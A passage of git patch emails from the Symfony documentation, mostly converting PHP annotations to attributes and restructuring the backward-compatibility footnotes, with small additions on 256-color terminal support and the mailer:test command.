-                throw new \Exception('Don\'t forget to activate logout in security.yaml');
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/SecurityController.php
diff --git a/security/login_link.rst b/security/login_link.rst
index 899c7a1c82a..009a951e2ce 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -86,27 +86,8 @@ intercept requests to this route:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class SecurityController extends AbstractController
-        {
-            /**
-             * @Route("/login_check", name="login_check")
-             */
-            public function check()
-            {
-                throw new \LogicException('This code should never be reached');
-            }
-        }
-        
     .. code-block:: php-attributes
-    
+
         // src/Controller/SecurityController.php
         namespace App\Controller;
 
@@ -177,9 +158,7 @@ this interface::
 
     class SecurityController extends AbstractController
     {
-        /**
-         * @Route("/login", name="login")
-         */
+        #[Route('/login', name: 'login')]
         public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request)
         {
             // check if login form is submitted
@@ -250,9 +229,7 @@ number::
 
     class SecurityController extends AbstractController
     {
-        /**
-         * @Route("/login", name="login")
-         */
+        #[Route('/login', name: 'login')]
         public function requestLoginLink(NotifierInterface $notifier, LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request)
         {
             if ($request->isMethod('POST')) {
@@ -628,9 +605,7 @@ user create this POST request (e.g. by clicking a button)::
 
     class SecurityController extends AbstractController
     {
-        /**
-         * @Route("/login_check", name="login_check")
-         */
+        #[Route('/login_check', name: 'login_check')]
         public function check(Request $request)
         {
             // get the login link query parameters
@@ -771,9 +746,7 @@ features such as the locale used to generate the link::
 
     class SecurityController extends AbstractController
     {
-        /**
-         * @Route("/login", name="login")
-         */
+        #[Route('/login', name: 'login')]
         public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, Request $request)
         {
             // check if login form is submitted
diff --git a/security/voters.rst b/security/voters.rst
index 23aa39cce41..f5b44126677 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -73,9 +73,7 @@ code like this::
     // ...
     class PostController extends AbstractController
     {
-        /**
-         * @Route("/posts/{id}", name="post_show")
-         */
+        #[Route('/posts/{id}', name: 'post_show')]
         public function show($id): Response
         {
             // get a Post object - e.g. query for it
@@ -87,9 +85,7 @@ code like this::
             // ...
         }
 
-        /**
-         * @Route("/posts/{id}/edit", name="post_edit")
-         */
+        #[Route('/posts/{id}/edit', name: 'post_edit')]
         public function edit($id): Response
         {
             // get a Post object - e.g. query for it
diff --git a/service_container.rst b/service_container.rst
index 6b6015a02e8..d6eb71c1202 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -38,9 +38,7 @@ service's class or interface name. Want to :doc:`log </logging>` something? No p
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/products")
-         */
+        #[Route('/products')]
         public function list(LoggerInterface $logger): Response
         {
             $logger->info('Look, I just used a service!');
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 7aa968a22e4..a0517d8e937 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -136,9 +136,7 @@ Now, you can use the ``TwitterClient`` service immediately in a controller::
 
     class DefaultController extends AbstractController
     {
-        /**
-         * @Route("/tweet", methods={"POST"})
-         */
+        #[Route('/tweet')]
         public function tweet(TwitterClient $twitterClient, Request $request): Response
         {
             // fetch $user, $key, $status from the POST'ed data
diff --git a/templates.rst b/templates.rst
index 0c679b0087d..6b0c6a0ed7b 100644
--- a/templates.rst
+++ b/templates.rst
@@ -188,34 +188,6 @@ Consider the following routing configuration:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        // ...
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            /**
-             * @Route("/", name="blog_index")
-             */
-            public function index(): Response
-            {
-                // ...
-            }
-
-            /**
-             * @Route("/article/{slug}", name="blog_post")
-             */
-            public function show(string $slug): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
diff --git a/translation/locale.rst b/translation/locale.rst
index d4a28f74961..fa670f675a2 100644
--- a/translation/locale.rst
+++ b/translation/locale.rst
@@ -64,28 +64,6 @@ A better policy is to include the locale in the URL using the
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/ContactController.php
-        namespace App\Controller;
-
-        // ...
-        class ContactController extends AbstractController
-        {
-            /**
-             * @Route(
-             *     "/{_locale}/contact",
-             *     name="contact",
-             *     requirements={
-             *         "_locale": "en|fr|de",
-             *     }
-             * )
-             */
-            public function contact()
-            {
-            }
-        }
-        
     .. code-block:: php-attributes
 
         // src/Controller/ContactController.php

From 9cebba1d9772a54d0754c52a385e86d663117e36 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Aug 2022 15:52:43 +0200
Subject: [PATCH 2203/5766] Reword

---
 security/custom_authenticator.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index e0513ce8947..4e38e01e82b 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -144,7 +144,7 @@ authenticator. Its job is to extract credentials (e.g. username &
 password, or API tokens) from the ``Request`` object and transform these
 into a security
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`
-(see below).
+(security passports are explained later in this article).
 
 After the authentication process finished, the user is either authenticated
 or there was something wrong (e.g. incorrect password). The authenticator

From da75ee2ab2885cf5efe7ff2235ece5237e92d0a4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Aug 2022 16:01:33 +0200
Subject: [PATCH 2204/5766] Tweak

---
 bundles/best_practices.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 4cb57c2187d..addc59014ba 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -228,7 +228,7 @@ with Symfony Flex to install a specific Symfony version:
 
     # this requires Symfony 5.x for all Symfony packages
     export SYMFONY_REQUIRE=5.*
-    # alternative method: write to the composer.json file
+    # alternatively you can run this command to update composer.json config
     # composer config extra.symfony.require "5.*"
 
     # install Symfony Flex in the CI environment

From 746e4c09173762fa4c5a5aaef32d26b7be9ead99 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Aug 2022 16:51:32 +0200
Subject: [PATCH 2205/5766] [Contributing] Update the footnotes of the BC
 article

---
 contributing/code/bc.rst | 193 ++++++++++++++++++++++-----------------
 1 file changed, 107 insertions(+), 86 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 482ac16d65b..3f1e6164087 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -75,7 +75,7 @@ backward compatibility promise:
 +-----------------------------------------------+-----------------------------+
 | Type hint against the interface               | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a method                                 | Yes [10]_                   |
+| Call a method                                 | Yes :ref:`[10] <note-10>`   |
 +-----------------------------------------------+-----------------------------+
 | **If you implement the interface and...**     | **Then we guarantee BC...** |
 +-----------------------------------------------+-----------------------------+
@@ -117,13 +117,13 @@ covered by our backward compatibility promise:
 +-----------------------------------------------+-----------------------------+
 | Access a public property                      | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a public method                          | Yes [10]_                   |
+| Call a public method                          | Yes :ref:`[10] <note-10>`   |
 +-----------------------------------------------+-----------------------------+
 | **If you extend the class and...**            | **Then we guarantee BC...** |
 +-----------------------------------------------+-----------------------------+
 | Access a protected property                   | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a protected method                       | Yes [10]_                   |
+| Call a protected method                       | Yes :ref:`[10] <note-10>`   |
 +-----------------------------------------------+-----------------------------+
 | Override a public property                    | Yes                         |
 +-----------------------------------------------+-----------------------------+
@@ -193,12 +193,12 @@ Changing Interfaces
 This table tells you which changes you are allowed to do when working on
 Symfony's interfaces:
 
-==============================================  ==============
-Type of Change                                  Change Allowed
-==============================================  ==============
+==============================================  ==============  ===============
+Type of Change                                  Change Allowed  Notes
+==============================================  ==============  ===============
 Remove entirely                                 No
 Change name or namespace                        No
-Add parent interface                            Yes [2]_
+Add parent interface                            Yes             :ref:`[2] <note-2>`
 Remove parent interface                         No
 **Methods**
 Add method                                      No
@@ -207,14 +207,14 @@ Change name                                     No
 Move to parent interface                        Yes
 Add argument without a default value            No
 Add argument with a default value               No
-Remove argument                                 No [3]_
+Remove argument                                 No              :ref:`[3] <note-3>`
 Add default value to an argument                No
 Remove default value of an argument             No
 Add type hint to an argument                    No
 Remove type hint of an argument                 No
 Change argument type                            No
 Add return type                                 No
-Remove return type                              No [9]_
+Remove return type                              No              :ref:`[9] <note-9>`
 Change return type                              No
 **Static Methods**
 Turn non static into static                     No
@@ -222,8 +222,8 @@ Turn static into non static                     No
 **Constants**
 Add constant                                    Yes
 Remove constant                                 No
-Change value of a constant                      Yes [1]_ [5]_
-==============================================  ==============
+Change value of a constant                      Yes             :ref:`[1] <note-1>` :ref:`[5] <note-5>`
+==============================================  ==============  ===============
 
 Changing Classes
 ~~~~~~~~~~~~~~~~
@@ -231,14 +231,14 @@ Changing Classes
 This table tells you which changes you are allowed to do when working on
 Symfony's classes:
 
-==================================================  ==============
-Type of Change                                      Change Allowed
-==================================================  ==============
+==================================================  ==============  ===============
+Type of Change                                      Change Allowed  Notes
+==================================================  ==============  ===============
 Remove entirely                                     No
-Make final                                          No [6]_
+Make final                                          No              :ref:`[6] <note-6>`
 Make abstract                                       No
 Change name or namespace                            No
-Change parent class                                 Yes [4]_
+Change parent class                                 Yes             :ref:`[4] <note-4>`
 Add interface                                       Yes
 Remove interface                                    No
 **Public Properties**
@@ -248,19 +248,19 @@ Reduce visibility                                   No
 Move to parent class                                Yes
 **Protected Properties**
 Add protected property                              Yes
-Remove protected property                           No [7]_
-Reduce visibility                                   No [7]_
-Make public                                         No [7]_
+Remove protected property                           No              :ref:`[7] <note-7>`
+Reduce visibility                                   No              :ref:`[7] <note-7>`
+Make public                                         No              :ref:`[7] <note-7>`
 Move to parent class                                Yes
 **Private Properties**
 Add private property                                Yes
 Make public or protected                            Yes
 Remove private property                             Yes
 **Constructors**
-Add constructor without mandatory arguments         Yes [1]_
+Add constructor without mandatory arguments         Yes             :ref:`[1] <note-1>`
 Remove constructor                                  No
 Reduce visibility of a public constructor           No
-Reduce visibility of a protected constructor        No [7]_
+Reduce visibility of a protected constructor        No              :ref:`[7] <note-7>`
 Move to parent class                                Yes
 **Destructors**
 Add destructor                                      Yes
@@ -271,38 +271,38 @@ Add public method                                   Yes
 Remove public method                                No
 Change name                                         No
 Reduce visibility                                   No
-Make final                                          No [6]_
+Make final                                          No              :ref:`[6] <note-6>`
 Move to parent class                                Yes
 Add argument without a default value                No
-Add argument with a default value                   No [7]_ [8]_
-Remove argument                                     No [3]_
-Add default value to an argument                    No [7]_ [8]_
+Add argument with a default value                   No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove argument                                     No              :ref:`[3] <note-3>`
+Add default value to an argument                    No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
 Remove default value of an argument                 No
-Add type hint to an argument                        No [7]_ [8]_
-Remove type hint of an argument                     No [7]_ [8]_
-Change argument type                                No [7]_ [8]_
-Add return type                                     No [7]_ [8]_
-Remove return type                                  No [7]_ [8]_ [9]_
-Change return type                                  No [7]_ [8]_
+Add type hint to an argument                        No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove type hint of an argument                     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Change argument type                                No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Add return type                                     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove return type                                  No              :ref:`[7] <note-7>` :ref:`[8] <note-8>` :ref:`[9] <note-9>`
+Change return type                                  No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
 **Protected Methods**
 Add protected method                                Yes
-Remove protected method                             No [7]_
-Change name                                         No [7]_
-Reduce visibility                                   No [7]_
-Make final                                          No [6]_
-Make public                                         No [7]_ [8]_
+Remove protected method                             No              :ref:`[7] <note-7>`
+Change name                                         No              :ref:`[7] <note-7>`
+Reduce visibility                                   No              :ref:`[7] <note-7>`
+Make final                                          No              :ref:`[6] <note-6>`
+Make public                                         No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
 Move to parent class                                Yes
-Add argument without a default value                No [7]_
-Add argument with a default value                   No [7]_ [8]_
-Remove argument                                     No [3]_
-Add default value to an argument                    No [7]_ [8]_
-Remove default value of an argument                 No [7]_
-Add type hint to an argument                        No [7]_ [8]_
-Remove type hint of an argument                     No [7]_ [8]_
-Change argument type                                No [7]_ [8]_
-Add return type                                     No [7]_ [8]_
-Remove return type                                  No [7]_ [8]_ [9]_
-Change return type                                  No [7]_ [8]_
+Add argument without a default value                No              :ref:`[7] <note-7>`
+Add argument with a default value                   No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove argument                                     No              :ref:`[3] <note-3>`
+Add default value to an argument                    No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove default value of an argument                 No              :ref:`[7] <note-7>`
+Add type hint to an argument                        No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove type hint of an argument                     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Change argument type                                No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Add return type                                     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove return type                                  No              :ref:`[7] <note-7>` :ref:`[8] <note-8>` :ref:`[9] <note-9>`
+Change return type                                  No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
 **Private Methods**
 Add private method                                  Yes
 Remove private method                               Yes
@@ -320,13 +320,13 @@ Add return type                                     Yes
 Remove return type                                  Yes
 Change return type                                  Yes
 **Static Methods and Properties**
-Turn non static into static                         No [7]_ [8]_
+Turn non static into static                         No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
 Turn static into non static                         No
 **Constants**
 Add constant                                        Yes
 Remove constant                                     No
-Change value of a constant                          Yes [1]_ [5]_
-==================================================  ==============
+Change value of a constant                          Yes             :ref:`[1] <note-1>` :ref:`[5] <note-5>`
+==================================================  ==============  ===============
 
 Changing Traits
 ~~~~~~~~~~~~~~~
@@ -334,9 +334,9 @@ Changing Traits
 This table tells you which changes you are allowed to do when working on
 Symfony's traits:
 
-==================================================  ==============
-Type of Change                                      Change Allowed
-==================================================  ==============
+==================================================  ==============  ===============
+Type of Change                                      Change Allowed  Notes
+==================================================  ==============  ===============
 Remove entirely                                     No
 Change name or namespace                            No
 Use another trait                                   Yes
@@ -363,7 +363,7 @@ Add public method                                   Yes
 Remove public method                                No
 Change name                                         No
 Reduce visibility                                   No
-Make final                                          No [6]_
+Make final                                          No              :ref:`[6] <note-6>`
 Move to used trait                                  Yes
 Add argument without a default value                No
 Add argument with a default value                   No
@@ -379,8 +379,8 @@ Add protected method                                Yes
 Remove protected method                             No
 Change name                                         No
 Reduce visibility                                   No
-Make final                                          No [6]_
-Make public                                         No [8]_
+Make final                                          No              :ref:`[6] <note-6>`
+Make public                                         No              :ref:`[8] <note-8>`
 Move to used trait                                  Yes
 Add argument without a default value                No
 Add argument with a default value                   No
@@ -411,45 +411,66 @@ Change return type                                  No
 **Static Methods and Properties**
 Turn non static into static                         No
 Turn static into non static                         No
-==================================================  ==============
+==================================================  ==============  ===============
 
-.. [1] Should be avoided. When done, this change must be documented in the
-       UPGRADE file.
+Notes
+~~~~~
 
-.. [2] The added parent interface must not introduce any new methods that don't
-       exist in the interface already.
+.. _note-1:
 
-.. [3] Only the last optional argument(s) of a method may be removed, as PHP
-       does not care about additional arguments that you pass to a method.
+**[1]** Should be avoided. When done, this change must be documented in the
+UPGRADE file.
 
-.. [4] When changing the parent class, the original parent class must remain an
-       ancestor of the class.
+.. _note-2:
 
-.. [5] The value of a constant may only be changed when the constants aren't
-       used in configuration (e.g. Yaml and XML files), as these do not support
-       constants and have to hardcode the value. For instance, event name
-       constants can't change the value without introducing a BC break.
-       Additionally, if a constant will likely be used in objects that are
-       serialized, the value of a constant should not be changed.
+**[2]** The added parent interface must not introduce any new methods that don't
+exist in the interface already.
 
-.. [6] Allowed using the ``@final`` annotation.
+.. _note-3:
 
-.. [7] Allowed if the class is final. Classes that received the ``@final``
-       annotation after their first release are considered final in their
-       next major version.
-       Changing an argument type is only possible with a parent type.
-       Changing a return type is only possible with a child type.
+**[3]** Only the last optional argument(s) of a method may be removed, as PHP
+does not care about additional arguments that you pass to a method.
 
-.. [8] Allowed if the method is final. Methods that received the ``@final``
-       annotation after their first release are considered final in their
-       next major version.
-       Changing an argument type is only possible with a parent type.
-       Changing a return type is only possible with a child type.
+.. _note-4:
 
-.. [9] Allowed for the ``void`` return type.
+**[4]** When changing the parent class, the original parent class must remain an
+ancestor of the class.
 
-.. [10] Parameter names are only covered by the compatibility promise for
-        constructors of Attribute classes. Using PHP named arguments might
-        break your code when upgrading to newer Symfony versions.
+.. _note-5:
+
+**[5]** The value of a constant may only be changed when the constants aren't
+used in configuration (e.g. Yaml and XML files), as these do not support
+constants and have to hardcode the value. For instance, event name constants
+can't change the value without introducing a BC break. Additionally, if a
+constant will likely be used in objects that are serialized, the value of a
+constant should not be changed.
+
+.. _note-6:
+
+**[6]** Allowed using the ``@final`` annotation.
+
+.. _note-7:
+
+**[7]** Allowed if the class is final. Classes that received the ``@final``
+annotation after their first release are considered final in their next major
+version. Changing an argument type is only possible with a parent type. Changing
+a return type is only possible with a child type.
+
+.. _note-8:
+
+**[8]** Allowed if the method is final. Methods that received the ``@final``
+annotation after their first release are considered final in their next major
+version. Changing an argument type is only possible with a parent type. Changing
+a return type is only possible with a child type.
+
+.. _note-9:
+
+**[9]** Allowed for the ``void`` return type.
+
+.. _note-10:
+
+**[10]** Parameter names are only covered by the compatibility promise for
+constructors of Attribute classes. Using PHP named arguments might break your
+code when upgrading to newer Symfony versions.
 
 .. _`Semantic Versioning`: https://semver.org/

From 89f5a605fb2a3872028bb334789f0a2951b64858 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Aug 2022 17:33:44 +0200
Subject: [PATCH 2206/5766] [Console] Mention the support of 256-color
 terminals

---
 console/coloring.rst | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/console/coloring.rst b/console/coloring.rst
index 25853565fd5..f312753af51 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -52,8 +52,13 @@ Any hex color is supported for foreground and background colors. Besides that, t
 
 .. note::
 
-    If the terminal doesn't support true colors, the nearest named color is used.
-    E.g. ``#c0392b`` is degraded to ``red`` or ``#f1c40f`` is degraded to ``yellow``.
+    If the terminal doesn't support true colors, the given color is replaced by
+    the nearest color depending on the terminal capabilities. E.g. ``#c0392b`` is
+    degraded to ``#d75f5f`` in 256-color terminals and to ``red`` in 8-color terminals.
+
+    .. versionadded:: 6.2
+
+        The support of 256-color terminals was introduced in Symfony 6.2.
 
 And available options are: ``bold``, ``underscore``, ``blink``, ``reverse``
 (enables the "reverse video" mode where the background and foreground colors

From 1f505a8be032efc03f7f26d0ccc095e4846326ac Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Aug 2022 17:45:43 +0200
Subject: [PATCH 2207/5766] [Mailer] Document the mailer:test command

---
 mailer.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 8461368c962..a376ff68def 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1407,6 +1407,25 @@ Here's an example of making one available to download::
 Development & Debugging
 -----------------------
 
+Sending Test Emails
+~~~~~~~~~~~~~~~~~~~
+
+Symfony provides a command to send emails, which is useful during development
+to test if sending emails works correctly:
+
+.. code-block:: terminal
+
+    # the only mandatory argument is the recipient address
+    # (check the command help to learn about its options)
+    $ php bin/console mailer:test someone@example.com
+
+This command bypasses the :doc:`Messenger bus </messenger>`, if configured, to
+ease testing emails even when the Messenger consumer is not running.
+
+.. versionadded:: 6.2
+
+    The ``mailer:test`` command was introduced in Symfony 6.2.
+
 Disabling Delivery
 ~~~~~~~~~~~~~~~~~~
 

From ed957f7a559bed398102b607590000def0fa6532 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Wed, 10 Aug 2022 20:09:58 +0200
Subject: [PATCH 2208/5766] [Intl] Add link refs for classes

Add links for all classes to easily check code source.
---
 components/intl.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 6992c39a26b..71f98f879fb 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -166,7 +166,7 @@ to catching the exception, you can also check if a given script code is valid::
 Country Names
 ~~~~~~~~~~~~~
 
-The ``Countries`` class provides access to the name of all countries according
+The :class:`Symfony\\Component\\Intl\\Countries` class provides access to the name of all countries according
 to the `ISO 3166-1 alpha-2`_ list and the `ISO 3166-1 alpha-3`_ list
 of officially recognized countries and territories::
 
@@ -233,7 +233,7 @@ Locales
 A locale is the combination of a language, a region and some parameters that
 define the interface preferences of the user. For example, "Chinese" is the
 language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified"
-(script) + "Macau SAR China" (region). The ``Locales`` class provides access to
+(script) + "Macau SAR China" (region). The :class:`Symfony\\Component\\Intl\\Locales` class provides access to
 the name of all locales::
 
     use Symfony\Component\Intl\Locales;
@@ -269,7 +269,7 @@ to catching the exception, you can also check if a given locale code is valid::
 Currencies
 ~~~~~~~~~~
 
-The ``Currencies`` class provides access to the name of all currencies as well
+The :class:`Symfony\\Component\\Intl\\Currencies` class provides access to the name of all currencies as well
 as some of their information (symbol, fraction digits, etc.)::
 
     use Symfony\Component\Intl\Currencies;
@@ -317,7 +317,7 @@ to catching the exception, you can also check if a given currency code is valid:
 Timezones
 ~~~~~~~~~
 
-The ``Timezones`` class provides several utilities related to timezones. First,
+The :class:`Symfony\\Component\\Intl\\Timezones` class provides several utilities related to timezones. First,
 you can get the name and values of all timezones in all languages::
 
     use Symfony\Component\Intl\Timezones;

From dfbda13342a933a0ad66c91f703d4f86d3cea873 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Wed, 10 Aug 2022 20:56:19 +0200
Subject: [PATCH 2209/5766] [Serializer] Add return hint

Return hint in NameConverterInterface added in V6.0
---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 092b8a52c28..3b5370cb5cb 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -588,12 +588,12 @@ A custom name converter can handle such cases::
 
     class OrgPrefixNameConverter implements NameConverterInterface
     {
-        public function normalize(string $propertyName)
+        public function normalize(string $propertyName): string
         {
             return 'org_'.$propertyName;
         }
 
-        public function denormalize(string $propertyName)
+        public function denormalize(string $propertyName): string
         {
             // removes 'org_' prefix
             return 'org_' === substr($propertyName, 0, 4) ? substr($propertyName, 4) : $propertyName;

From dbf3a70808dd32bbd0931cb6bea4b26bb7aa9c86 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 10 Aug 2022 23:11:21 +0200
Subject: [PATCH 2210/5766] Adding comment about route name

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 2b4ee776d63..fa60564fab5 100644
--- a/security.rst
+++ b/security.rst
@@ -1677,7 +1677,7 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
             $mainFirewall = $security->firewall('main');
             // ...
             $mainFirewall->logout()
-                ->path('app_logout')
+                ->path('app_logout') // pass either the *name* or the *path* of the route
 
                 // where to redirect after logout
                 // ->target('app_any_route')

From 55da07f9dbebdd4aca6028e027ac527c033c492f Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Thu, 11 Aug 2022 01:37:05 +0200
Subject: [PATCH 2211/5766] Replace ORM annotations with attributes, remove ORM
 annotation configuration block

---
 components/uid.rst                     | 36 ++++-------
 controller/upload_file.rst             |  4 +-
 doctrine.rst                           |  4 +-
 doctrine/associations.rst              | 83 ++------------------------
 doctrine/events.rst                    | 27 ---------
 doctrine/resolve_target_entity.rst     | 13 ++--
 form/form_collections.rst              |  6 +-
 quick_tour/flex_recipes.rst            | 24 +++-----
 reference/constraints/Traverse.rst     | 70 +---------------------
 reference/constraints/UniqueEntity.rst | 54 -----------------
 security.rst                           | 29 +++------
 11 files changed, 44 insertions(+), 306 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index d81e593f812..affc484f3d2 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -133,14 +133,10 @@ type, which converts to/from UUID objects automatically::
 
     use Doctrine\ORM\Mapping as ORM;
 
-    /**
-     * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
-     */
+    #[ORM\Entity(repositoryClass: ProductRepository::class)]
     class Product
     {
-        /**
-         * @ORM\Column(type="uuid")
-         */
+        #[ORM\Column(type: 'uuid')]
         private $someProperty;
 
         // ...
@@ -156,12 +152,10 @@ entity primary keys::
 
     class User implements UserInterface
     {
-        /**
-         * @ORM\Id
-         * @ORM\Column(type="uuid", unique=true)
-         * @ORM\GeneratedValue(strategy="CUSTOM")
-         * @ORM\CustomIdGenerator(class="doctrine.uuid_generator")
-         */
+        #[ORM\Id]
+        #[ORM\Column(type: 'uuid', unique: true)]
+        #[ORM\GeneratedValue(strategy: 'CUSTOM')]
+        #[ORM\CustomIdGenerator(class: 'doctrine.uuid_generator')]
         private $id;
 
         public function getId(): ?Uuid
@@ -291,14 +285,10 @@ type, which converts to/from ULID objects automatically::
 
     use Doctrine\ORM\Mapping as ORM;
 
-    /**
-     * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
-     */
+    #[ORM\Entity(repositoryClass: ProductRepository::class)]
     class Product
     {
-        /**
-         * @ORM\Column(type="ulid")
-         */
+        #[ORM\Column(type: 'ulid')]
         private $someProperty;
 
         // ...
@@ -314,12 +304,10 @@ entity primary keys::
 
     class Product
     {
-        /**
-         * @ORM\Id
-         * @ORM\Column(type="ulid", unique=true)
-         * @ORM\GeneratedValue(strategy="CUSTOM")
-         * @ORM\CustomIdGenerator(class="doctrine.ulid_generator")
-         */
+        #[ORM\Id]
+        #[ORM\Column(type: 'ulid', unique: true)]
+        #[ORM\GeneratedValue(strategy: 'CUSTOM')]
+        #[ORM\CustomIdGenerator(class: 'doctrine.ulid_generator')]
         private $id;
 
         public function getId(): ?Ulid
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index b962710ca8f..158e7167a0b 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -24,9 +24,7 @@ add a PDF brochure for each product. To do so, add a new property called
     {
         // ...
 
-        /**
-         * @ORM\Column(type="string")
-         */
+        #[ORM\Column(type: 'string')]
         private $brochureFilename;
 
         public function getBrochureFilename()
diff --git a/doctrine.rst b/doctrine.rst
index c821a5dff22..7c9a73d39dc 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -205,8 +205,8 @@ If you want to use XML instead of annotations, add ``type: xml`` and
     Be careful not to use reserved SQL keywords as your table or column names
     (e.g. ``GROUP`` or ``USER``). See Doctrine's `Reserved SQL keywords documentation`_
     for details on how to escape these. Or, change the table name with
-    ``#[ORM\Table(name: "groups")]`` above the class or configure the column name with
-    the ``name: "group_name"`` option.
+    ``#[ORM\Table(name: 'groups')]`` above the class or configure the column name with
+    the ``name: 'group_name'`` option.
 
 .. _doctrine-creating-the-database-tables-schema:
 
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index b1045fd3e9d..8ebdadf7864 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -140,34 +140,6 @@ the ``Product`` entity (and getter & setter methods):
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Product.php
-        namespace App\Entity;
-
-        // ...
-        class Product
-        {
-            // ...
-
-            /**
-             * @ORM\ManyToOne(targetEntity="App\Entity\Category", inversedBy="products")
-             */
-            private $category;
-
-            public function getCategory(): ?Category
-            {
-                return $this->category;
-            }
-
-            public function setCategory(?Category $category): self
-            {
-                $this->category = $category;
-
-                return $this;
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Product.php
@@ -178,7 +150,7 @@ the ``Product`` entity (and getter & setter methods):
         {
             // ...
 
-            #[ORM\ManyToOne(targetEntity: Category::class, inversedBy: "products")]
+            #[ORM\ManyToOne(targetEntity: Category::class, inversedBy: 'products')]
             private $category;
 
             public function getCategory(): ?Category
@@ -237,40 +209,6 @@ class that will hold these objects:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Category.php
-        namespace App\Entity;
-
-        // ...
-        use Doctrine\Common\Collections\ArrayCollection;
-        use Doctrine\Common\Collections\Collection;
-
-        class Category
-        {
-            // ...
-
-            /**
-             * @ORM\OneToMany(targetEntity="App\Entity\Product", mappedBy="category")
-             */
-            private $products;
-
